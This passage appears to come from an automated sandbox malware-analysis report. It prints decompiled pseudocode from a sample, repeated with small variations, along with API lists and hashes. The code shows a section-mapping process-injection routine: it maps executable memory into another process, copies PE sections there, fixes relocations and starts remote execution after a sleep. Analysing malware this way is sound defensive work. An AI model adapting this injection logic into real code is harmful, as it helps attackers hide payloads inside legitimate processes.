							if(NtMapViewOfSection( *_t191, 0xffffffff, _t123, 0, 0, 0, _t207 - 0x38, 1, 0, 4) == 0) {
								_t125 = _t207 - 0x3c;
								 *_t125 = 0;
								if(NtMapViewOfSection( *_t191,  *(_t207 - 0xc), _t125, 0, 0, 0, _t207 - 0x38, 1, 0, 4) == 0) {
									_t206 =  *(_t207 - 0x44);
									 *((intOrPtr*)(_t131 + 0x20))(0, _t206, 0x104);
									 *((intOrPtr*)(_t206 + 0x208)) =  *((intOrPtr*)(_t207 + 0x14));
									 *((intOrPtr*)(_t207 - 8)) =  *((intOrPtr*)(_t207 - 8)) + 1;
								}
							}
						}
						_t102 = _t207 - 0x50;
						 *((intOrPtr*)(_t102 + 4)) = 0;
						 *_t102 =  *((intOrPtr*)(_t207 + 0x10)) + 0x10000;
						_t192 = _t207 - 0x58;
						if(NtCreateSection(_t192, 0xe, 0, _t102, 0x40, 0x8000000, 0) == 0 &&  *((intOrPtr*)(_t207 - 8)) != 0) {
							 *_t46 =  *(_t207 - 0x50);
							_t104 = _t207 - 0x48;
							 *_t104 = 0;
							if(NtMapViewOfSection( *_t192, 0xffffffff, _t104, 0, 0, 0, _t207 - 0x38, 1, 0, 4) == 0) {
								_t106 = _t207 - 0x40;
								 *_t106 = 0;
								_t140 = _t207 - 0x38;
								_t226 = NtMapViewOfSection( *_t192,  *(_t207 - 0xc), _t106, 0, 0, 0, _t140, 1, 0, 0x20);
								if(_t226 == 0) {
									L25();
									if(_t226 == 0 && _t226 != 0) {
										 *_t140 = _t192;
										_t209 = _t207;
										_pop(_t207);
									}
									_t210 = _t209 + 4;
									_push(0x2e41);
									_push(0x2260);
									_t108 =  *_t210;
									_t211 = _t210 + 4;
									_t164 = (0x2260 << 5) + _t108;
									asm("lodsb");
									_t165 = _t164;
									asm("loop 0xffffffc1");
									_t166 = _t165 ^ 0xa3491271;
									_t209 = _t211 - _t166;
									_t197 =  *((intOrPtr*)(_t207 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t207 + 0xc))));
									_t142 =  *(_t197 + 6) & 0x0000ffff;
									_push(_t197);
									_t167 = _t197;
									if( *((intOrPtr*)(_t207 - 0x34)) == 0) {
										_t168 = _t167 + 0xf8;
										__eflags = _t168;
									} else {
										_t168 = _t167 + 0x108;
									}
									_push(_t142);
									_t143 =  *(_t168 + 0x10);
									if(_t143 != 0) {
										memcpy( *((intOrPtr*)(_t168 + 0xc)) +  *(_t207 - 0x48),  *((intOrPtr*)(_t168 + 0x14)) +  *((intOrPtr*)(_t207 + 0xc)), _t143);
										_t209 = _t209 + 0xc;
									}
									asm("loop 0xffffffe6");
									_pop(_t198);
									_t230 =  *((intOrPtr*)(_t207 - 0x34));
									if( *((intOrPtr*)(_t207 - 0x34)) == 0) {
										_push(_t198);
										_t171 =  *((intOrPtr*)(_t198 + 0x34)) -  *(_t207 - 0x40);
										_t201 =  *((intOrPtr*)(_t198 + 0xa0)) +  *(_t207 - 0x48);
										__eflags = _t201;
										while(1) {
											__eflags =  *_t201;
											if( *_t201 == 0) {
												break;
											}
											_t181 =  *_t201;
											_t201 = _t201 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *0x00000000 =  *0x00000000 - _t171;
												__eflags =  *((intOrPtr*)( *(_t207 - 0x48) + 0 + _t181));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t202);
										__eflags = 0;
										_t110 = _t207 - 4;
										 *_t110 = 0;
										 *((intOrPtr*)(_t131 + 0x98))( *(_t207 - 0xc), 0, 0, 0, 0, 0,  *((intOrPtr*)(_t202 + 0x28)) +  *(_t207 - 0x40),  *(_t207 - 0x3c), _t110, 0);
									} else {
										L58();
										_pop(_t182);
										_t183 = _t182 - 0x17da;
										 *((intOrPtr*)(_t183 + 0x180e)) = _t183 + 0x2f6c;
										E00401217(_t131, _t230, _t232, _t183 + 0x2f6c, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t183 + 0x1833)) = _t183 + 0x2fbc;
										0x33();
									}
								}
							}
						}
					}
				}
				asm("les eax, [ebx+ebp*8]");
				__eax = E0040119E(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags, __fp0);
				__edi = 0xc0;
				__esi = 0x38d;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401642
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401683
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D6

Memory Dump Source

Source File: 0000000B.00000002.384372419.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_rgtrtas.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: b502e8d547dcbb9dd043183c23f053b37dc608a28cee40afe6b19e4886b27209
Instruction ID: 91d7b6eb91bdc9b702aebae0ea57f4798882290432fe6fcee8abfa626251d873
Opcode Fuzzy Hash: b502e8d547dcbb9dd043183c23f053b37dc608a28cee40afe6b19e4886b27209
Instruction Fuzzy Hash: 0F5149B5900245BBEB209F91CC48FEFBFB8EF85B00F144159F911AA2A5D7759901CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401557 Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E00401557(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t86;
				intOrPtr _t89;
				intOrPtr _t92;
				struct _GUID _t100;
				struct _GUID _t102;
				PVOID* _t104;
				PVOID* _t106;
				intOrPtr _t108;
				intOrPtr* _t110;
				PVOID* _t123;
				PVOID* _t125;
				intOrPtr _t130;
				intOrPtr* _t133;
				long* _t138;
				signed int _t140;
				int _t141;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				void* _t165;
				intOrPtr* _t166;
				void* _t169;
				intOrPtr _t179;
				void* _t180;
				void* _t181;
				intOrPtr* _t187;
				intOrPtr* _t188;
				HANDLE* _t189;
				HANDLE* _t190;
				void* _t195;
				void* _t196;
				intOrPtr* _t199;
				void* _t200;
				void* _t204;
				void* _t205;
				void* _t206;
				intOrPtr* _t207;
				void* _t208;
				long _t223;
				void* _t229;

				asm("sahf");
				if (__eflags > 0) goto 0x401545;
				asm("cmc");
				E0040119E(_t86, __ebx, __ecx, 0xc0, __edi, __esi, __eflags, _t229);
				_t130 =  *((intOrPtr*)(_t205 + 8));
				 *((intOrPtr*)(_t205 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t205 - 0x34)) =  *((intOrPtr*)(_t205 - 0x34)) + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t130 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t130 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t205 - 0x5c)) = _t89;
				_t187 = _t205 - 0x60;
				 *_t187 = 0;
				 *((intOrPtr*)(_t130 + 0x4c))(_t89, _t187);
				_t92 =  *_t187;
				if(_t92 != 0) {
					_t133 = _t205 - 0x30;
					 *_t133 = _t92;
					 *((intOrPtr*)(_t133 + 4)) = 0;
					_t188 = _t205 - 0x28;
					 *((intOrPtr*)(_t130 + 0x10))(_t188, 0x18);
					 *_t188 = 0x18;
					_push(_t205 - 0x30);
					_push(_t188);
					_push(0x40);
					_push(_t205 - 0x10);
					if( *((intOrPtr*)(_t130 + 0x70))() == 0 && NtDuplicateObject( *(_t205 - 0x10), 0xffffffff, 0xffffffff, _t205 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t205 - 8)) = 0;
						_t100 = _t205 - 0x50;
						 *((intOrPtr*)(_t100 + 4)) = 0;
						 *_t100 = 0x5000;
						_t189 = _t205 - 0x54;
						if(NtCreateSection(_t189, 6, 0, _t100, 4, 0x8000000, 0) == 0) {
							 *_t25 =  *(_t205 - 0x50);
							_t123 = _t205 - 0x44;
							 *_t123 = 0;
							if(NtMapViewOfSection( *_t189, 0xffffffff, _t123, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
								_t125 = _t205 - 0x3c;
								 *_t125 = 0;
								if(NtMapViewOfSection( *_t189,  *(_t205 - 0xc), _t125, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
									_t204 =  *(_t205 - 0x44);
									 *((intOrPtr*)(_t130 + 0x20))(0, _t204, 0x104);
									 *((intOrPtr*)(_t204 + 0x208)) =  *((intOrPtr*)(_t205 + 0x14));
									 *((intOrPtr*)(_t205 - 8)) =  *((intOrPtr*)(_t205 - 8)) + 1;
								}
							}
						}
						_t102 = _t205 - 0x50;
						 *((intOrPtr*)(_t102 + 4)) = 0;
						 *_t102 =  *((intOrPtr*)(_t205 + 0x10)) + 0x10000;
						_t190 = _t205 - 0x58;
						if(NtCreateSection(_t190, 0xe, 0, _t102, 0x40, 0x8000000, 0) == 0 &&  *((intOrPtr*)(_t205 - 8)) != 0) {
							 *_t46 =  *(_t205 - 0x50);
							_t104 = _t205 - 0x48;
							 *_t104 = 0;
							if(NtMapViewOfSection( *_t190, 0xffffffff, _t104, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
								_t106 = _t205 - 0x40;
								 *_t106 = 0;
								_t138 = _t205 - 0x38;
								_t223 = NtMapViewOfSection( *_t190,  *(_t205 - 0xc), _t106, 0, 0, 0, _t138, 1, 0, 0x20);
								if(_t223 == 0) {
									L19();
									if(_t223 == 0 && _t223 != 0) {
										 *_t138 = _t190;
										_t206 = _t205;
										_pop(_t205);
									}
									_t207 = _t206 + 4;
									_push(0x2e41);
									_push(0x2260);
									_t108 =  *_t207;
									_t208 = _t207 + 4;
									_t162 = (0x2260 << 5) + _t108;
									asm("lodsb");
									_t163 = _t162;
									asm("loop 0xffffffc1");
									_t164 = _t163 ^ 0xa3491271;
									_t206 = _t208 - _t164;
									_t195 =  *((intOrPtr*)(_t205 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t205 + 0xc))));
									_t140 =  *(_t195 + 6) & 0x0000ffff;
									_push(_t195);
									_t165 = _t195;
									if( *((intOrPtr*)(_t205 - 0x34)) == 0) {
										_t166 = _t165 + 0xf8;
										__eflags = _t166;
									} else {
										_t166 = _t165 + 0x108;
									}
									_push(_t140);
									_t141 =  *(_t166 + 0x10);
									if(_t141 != 0) {
										memcpy( *((intOrPtr*)(_t166 + 0xc)) +  *(_t205 - 0x48),  *((intOrPtr*)(_t166 + 0x14)) +  *((intOrPtr*)(_t205 + 0xc)), _t141);
										_t206 = _t206 + 0xc;
									}
									asm("loop 0xffffffe6");
									_pop(_t196);
									_t227 =  *((intOrPtr*)(_t205 - 0x34));
									if( *((intOrPtr*)(_t205 - 0x34)) == 0) {
										_push(_t196);
										_t169 =  *((intOrPtr*)(_t196 + 0x34)) -  *(_t205 - 0x40);
										_t199 =  *((intOrPtr*)(_t196 + 0xa0)) +  *(_t205 - 0x48);
										__eflags = _t199;
										while(1) {
											__eflags =  *_t199;
											if( *_t199 == 0) {
												break;
											}
											_t179 =  *_t199;
											_t199 = _t199 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *0x00000000 =  *0x00000000 - _t169;
												__eflags =  *((intOrPtr*)( *(_t205 - 0x48) + 0 + _t179));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t200);
										__eflags = 0;
										_t110 = _t205 - 4;
										 *_t110 = 0;
										 *((intOrPtr*)(_t130 + 0x98))( *(_t205 - 0xc), 0, 0, 0, 0, 0,  *((intOrPtr*)(_t200 + 0x28)) +  *(_t205 - 0x40),  *(_t205 - 0x3c), _t110, 0);
									} else {
										L52();
										_pop(_t180);
										_t181 = _t180 - 0x17da;
										 *((intOrPtr*)(_t181 + 0x180e)) = _t181 + 0x2f6c;
										E00401217(_t130, _t227, _t229, _t181 + 0x2f6c, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t181 + 0x1833)) = _t181 + 0x2fbc;
										0x33();
									}
								}
							}
						}
					}
				}
				asm("les eax, [ebx+ebp*8]");
				__eax = E0040119E(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags, __fp0);
				__edi = 0xc0;
				__esi = 0x38d;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401642
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401683
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D6

Memory Dump Source

Source File: 0000000B.00000002.384372419.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_rgtrtas.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 7a0e01981222968840e8d8a29b1f12db2e471b747821a4e8d38365e30775b594
Instruction ID: cc3d46135835756f9cafff621b1599bf12e5bdd411ec13d592e282f5f8ecdeaa
Opcode Fuzzy Hash: 7a0e01981222968840e8d8a29b1f12db2e471b747821a4e8d38365e30775b594
Instruction Fuzzy Hash: C1512A75900249BBEB209F91CC48FAFBBB8FF85B00F144169FA11BA2E5D7759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040151F Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E0040151F(void* __ebx, void* __edi, void* __eflags) {
				void* _t86;
				intOrPtr _t89;
				intOrPtr _t92;
				struct _GUID _t100;
				struct _GUID _t102;
				PVOID* _t104;
				PVOID* _t106;
				intOrPtr _t108;
				intOrPtr* _t110;
				PVOID* _t123;
				PVOID* _t125;
				intOrPtr _t130;
				intOrPtr _t131;
				intOrPtr* _t133;
				long* _t138;
				signed int _t140;
				int _t141;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				void* _t165;
				intOrPtr* _t166;
				void* _t169;
				intOrPtr _t179;
				void* _t180;
				void* _t181;
				intOrPtr* _t187;
				intOrPtr* _t188;
				HANDLE* _t189;
				HANDLE* _t190;
				void* _t195;
				void* _t196;
				intOrPtr* _t199;
				void* _t200;
				void* _t204;
				void* _t205;
				intOrPtr* _t206;
				void* _t207;
				intOrPtr* _t208;
				void* _t209;
				long _t224;
				void* _t230;

				_t86 = 0x1561;
				_push(0x38d);
				_t131 =  *_t206;
				_t207 = _t206 + 4;
				asm("cmc");
				E0040119E(_t86, __ebx, _t131, 0xc0, __edi, 0x53802c55, __eflags, _t230);
				_t130 =  *((intOrPtr*)(_t205 + 8));
				 *((intOrPtr*)(_t205 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t205 - 0x34)) =  *((intOrPtr*)(_t205 - 0x34)) + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t130 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t130 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t205 - 0x5c)) = _t89;
				_t187 = _t205 - 0x60;
				 *_t187 = 0;
				 *((intOrPtr*)(_t130 + 0x4c))(_t89, _t187);
				_t92 =  *_t187;
				if(_t92 != 0) {
					_t133 = _t205 - 0x30;
					 *_t133 = _t92;
					 *((intOrPtr*)(_t133 + 4)) = 0;
					_t188 = _t205 - 0x28;
					 *((intOrPtr*)(_t130 + 0x10))(_t188, 0x18);
					 *_t188 = 0x18;
					_push(_t205 - 0x30);
					_push(_t188);
					_push(0x40);
					_push(_t205 - 0x10);
					if( *((intOrPtr*)(_t130 + 0x70))() == 0 && NtDuplicateObject( *(_t205 - 0x10), 0xffffffff, 0xffffffff, _t205 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t205 - 8)) = 0;
						_t100 = _t205 - 0x50;
						 *((intOrPtr*)(_t100 + 4)) = 0;
						 *_t100 = 0x5000;
						_t189 = _t205 - 0x54;
						if(NtCreateSection(_t189, 6, 0, _t100, 4, 0x8000000, 0) == 0) {
							 *_t25 =  *(_t205 - 0x50);
							_t123 = _t205 - 0x44;
							 *_t123 = 0;
							if(NtMapViewOfSection( *_t189, 0xffffffff, _t123, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
								_t125 = _t205 - 0x3c;
								 *_t125 = 0;
								if(NtMapViewOfSection( *_t189,  *(_t205 - 0xc), _t125, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
									_t204 =  *(_t205 - 0x44);
									 *((intOrPtr*)(_t130 + 0x20))(0, _t204, 0x104);
									 *((intOrPtr*)(_t204 + 0x208)) =  *((intOrPtr*)(_t205 + 0x14));
									 *((intOrPtr*)(_t205 - 8)) =  *((intOrPtr*)(_t205 - 8)) + 1;
								}
							}
						}
						_t102 = _t205 - 0x50;
						 *((intOrPtr*)(_t102 + 4)) = 0;
						 *_t102 =  *((intOrPtr*)(_t205 + 0x10)) + 0x10000;
						_t190 = _t205 - 0x58;
						if(NtCreateSection(_t190, 0xe, 0, _t102, 0x40, 0x8000000, 0) == 0 &&  *((intOrPtr*)(_t205 - 8)) != 0) {
							 *_t46 =  *(_t205 - 0x50);
							_t104 = _t205 - 0x48;
							 *_t104 = 0;
							if(NtMapViewOfSection( *_t190, 0xffffffff, _t104, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
								_t106 = _t205 - 0x40;
								 *_t106 = 0;
								_t138 = _t205 - 0x38;
								_t224 = NtMapViewOfSection( *_t190,  *(_t205 - 0xc), _t106, 0, 0, 0, _t138, 1, 0, 0x20);
								if(_t224 == 0) {
									L24();
									if(_t224 == 0 && _t224 != 0) {
										 *_t138 = _t190;
										_t207 = _t205;
										_pop(_t205);
									}
									_t208 = _t207 + 4;
									_push(0x2e41);
									_push(0x2260);
									_t108 =  *_t208;
									_t209 = _t208 + 4;
									_t162 = (0x2260 << 5) + _t108;
									asm("lodsb");
									_t163 = _t162;
									asm("loop 0xffffffc1");
									_t164 = _t163 ^ 0xa3491271;
									_t207 = _t209 - _t164;
									_t195 =  *((intOrPtr*)(_t205 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t205 + 0xc))));
									_t140 =  *(_t195 + 6) & 0x0000ffff;
									_push(_t195);
									_t165 = _t195;
									if( *((intOrPtr*)(_t205 - 0x34)) == 0) {
										_t166 = _t165 + 0xf8;
										__eflags = _t166;
									} else {
										_t166 = _t165 + 0x108;
									}
									_push(_t140);
									_t141 =  *(_t166 + 0x10);
									if(_t141 != 0) {
										memcpy( *((intOrPtr*)(_t166 + 0xc)) +  *(_t205 - 0x48),  *((intOrPtr*)(_t166 + 0x14)) +  *((intOrPtr*)(_t205 + 0xc)), _t141);
										_t207 = _t207 + 0xc;
									}
									asm("loop 0xffffffe6");
									_pop(_t196);
									_t228 =  *((intOrPtr*)(_t205 - 0x34));
									if( *((intOrPtr*)(_t205 - 0x34)) == 0) {
										_push(_t196);
										_t169 =  *((intOrPtr*)(_t196 + 0x34)) -  *(_t205 - 0x40);
										_t199 =  *((intOrPtr*)(_t196 + 0xa0)) +  *(_t205 - 0x48);
										__eflags = _t199;
										while(1) {
											__eflags =  *_t199;
											if( *_t199 == 0) {
												break;
											}
											_t179 =  *_t199;
											_t199 = _t199 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *0x00000000 =  *0x00000000 - _t169;
												__eflags =  *((intOrPtr*)( *(_t205 - 0x48) + 0 + _t179));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t200);
										__eflags = 0;
										_t110 = _t205 - 4;
										 *_t110 = 0;
										 *((intOrPtr*)(_t130 + 0x98))( *(_t205 - 0xc), 0, 0, 0, 0, 0,  *((intOrPtr*)(_t200 + 0x28)) +  *(_t205 - 0x40),  *(_t205 - 0x3c), _t110, 0);
									} else {
										L57();
										_pop(_t180);
										_t181 = _t180 - 0x17da;
										 *((intOrPtr*)(_t181 + 0x180e)) = _t181 + 0x2f6c;
										E00401217(_t130, _t228, _t230, _t181 + 0x2f6c, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t181 + 0x1833)) = _t181 + 0x2fbc;
										0x33();
									}
								}
							}
						}
					}
				}
				asm("les eax, [ebx+ebp*8]");
				__eax = E0040119E(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags, __fp0);
				__edi = 0xc0;
				__esi = 0x38d;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x00401529
0x00401536
0x0040153b
0x0040153e
0x0040155a
0x0040155c
0x00401561
0x00401566
0x0040156f
0x00401571
0x00401571
0x00401574
0x00401574
0x00401579
0x00000000
0x00000000
0x004018a3
0x004018a3
0x0040157f
0x00401582
0x00401585
0x00401589
0x0040158c
0x00401590
0x00401596
0x00401599
0x0040159b
0x0040159e
0x004015a4
0x004015a7
0x004015b5
0x004015b6
0x004015b7
0x004015b9
0x004015bf
0x004015e2
0x004015e5
0x004015e8
0x004015eb
0x004015f1
0x00401606
0x0040160b
0x0040160e
0x00401611
0x00401629
0x0040162b
0x0040162e
0x00401647
0x00401649
0x00401653
0x00401659
0x0040165f
0x0040165f
0x00401647
0x00401629
0x00401662
0x0040166e
0x00401671
0x00401673
0x00401688
0x0040169b
0x0040169e
0x004016a1
0x004016b9
0x004016bf
0x004016c2
0x004016c4
0x004016d9
0x004016db
0x004016e1
0x004016e6
0x004016ea
0x004016ec
0x004016ec
0x004016ec
0x004016ed
0x00401717
0x00401740
0x00401741
0x00401744
0x0040175b
0x0040176a
0x00401772
0x00401777
0x00401780
0x00401789
0x00401795
0x00401797
0x0040179b
0x0040179c
0x004017a2
0x004017ac
0x004017ac
0x004017a4
0x004017a4
0x004017a4
0x004017b2
0x004017b3
0x004017b8
0x004017c6
0x004017c6
0x004017c6
0x004017cc
0x004017ce
0x004017cf
0x004017d3
0x0040183b
0x0040183f
0x0040184a
0x0040184a
0x0040184d
0x0040184d
0x00401850
0x00000000
0x00000000
0x00401852
0x0040185c
0x00401861
0x00401863
0x00401868
0x00401874
0x00401874
0x00401874
0x00401876
0x00401876
0x0040187a
0x00401881
0x00401883
0x00401886
0x00401896
0x004017d5
0x004017d5
0x004017da
0x004017db
0x004017f1
0x00401800
0x0040180d
0x00401824
0x00401832
0x00401832
0x004017d3
0x004016db
0x004016b9
0x00401688
0x004015bf
0x004018e0
0x004018e9
0x004018ee
0x004018ef
0x004018f0
0x004018f1
0x004018f1
0x004018f2

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401642
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401683
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D6

Memory Dump Source

Source File: 0000000B.00000002.384372419.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_rgtrtas.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 10c6edddafc57620bab8f3e0fcce4b25055591cdbf7263b2c41a15db1795c36d
Instruction ID: 7b0ff6212a6efac6393312b74af7fae11c4648ab5a07736769ecee7b68bffce7
Opcode Fuzzy Hash: 10c6edddafc57620bab8f3e0fcce4b25055591cdbf7263b2c41a15db1795c36d
Instruction Fuzzy Hash: 23512A75900205BFEB209F91CC48FAF7BB8EF85B00F14416AFA12BA2E5D7759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040AB0D Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__malloc_crt.LIBCMT ref: 0040AB3E

Memory Dump Source

Source File: 0000000B.00000002.384401898.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_rgtrtas.jbxd

Similarity

API ID: __malloc_crt
String ID:
API String ID: 3464615804-0
Opcode ID: 680e49ecc13cbe48de0f56ca14d717ea81e7880006487745ee42aac639f80b93
Instruction ID: e21ef1c2ef5742ed6df4c513a471f963e85952df7da7595b2434280adc956e00
Opcode Fuzzy Hash: 680e49ecc13cbe48de0f56ca14d717ea81e7880006487745ee42aac639f80b93
Instruction Fuzzy Hash: D4F089376042115ED62576356C4887B267ADA8A329315553BFA92E3280E9384D9382AE

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE0A Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040AE1F

Memory Dump Source

Source File: 0000000B.00000002.384401898.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_rgtrtas.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 86bb173900be1e7c4cae52610605200daff4d89e21498a291d5a1fe2391a2e09
Instruction ID: 57a4f34e49894ebdd88181c0cf8bc26615109573f2c93ee400d50f5dc97e9698
Opcode Fuzzy Hash: 86bb173900be1e7c4cae52610605200daff4d89e21498a291d5a1fe2391a2e09
Instruction Fuzzy Hash: BDD05E326A03449BDB105FB0AE087623BDCD788795F048436B90CD6590E578C560C548

Uniqueness

Uniqueness Score: -1.00%

Function 00401910 Relevance: 1.3, APIs: 1, Instructions: 60
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 40%

			E00401910(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t8;
				void* _t11;
				intOrPtr* _t17;
				intOrPtr _t19;
				void* _t22;
				intOrPtr* _t23;

				_t25 = __eflags;
				asm("sbb ebp, ebx");
				_push(0xab);
				_t19 =  *_t23;
				E0040119E(_t8, __ebx, 0x6f, _t19, __edi, __esi, __eflags, __fp0);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_push(_t22 - 4);
				_push( *((intOrPtr*)(_t22 + 0x10)));
				_push( *((intOrPtr*)(_t22 + 0xc)));
				_push(_t17); // executed
				_t11 = E00401419(_t17, __edi, __esi, _t25, __fp0); // executed
				_t26 = _t11;
				if(_t11 != 0) {
					E00401514(_t26, _t17, _t11,  *((intOrPtr*)(_t22 - 4)),  *((intOrPtr*)(_t22 + 0x14))); // executed
				}
				 *_t17();
				_t17 = _t17 + 0x6f;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 0000000B.00000002.384372419.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_rgtrtas.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 21e8c1f2be0fad2efb5be0a18617022cf06a06a2fa368ed1ac733ca737364c66
Instruction ID: 2421212cf9775cb4e82dc684017396ff3ea1ef4e86c58c10a51bd6cb4b6bc29e
Opcode Fuzzy Hash: 21e8c1f2be0fad2efb5be0a18617022cf06a06a2fa368ed1ac733ca737364c66
Instruction Fuzzy Hash: D00184B2708205EADB10AB95DC61ABA33149B45354F204537FA13B90F6C63D8513E76B

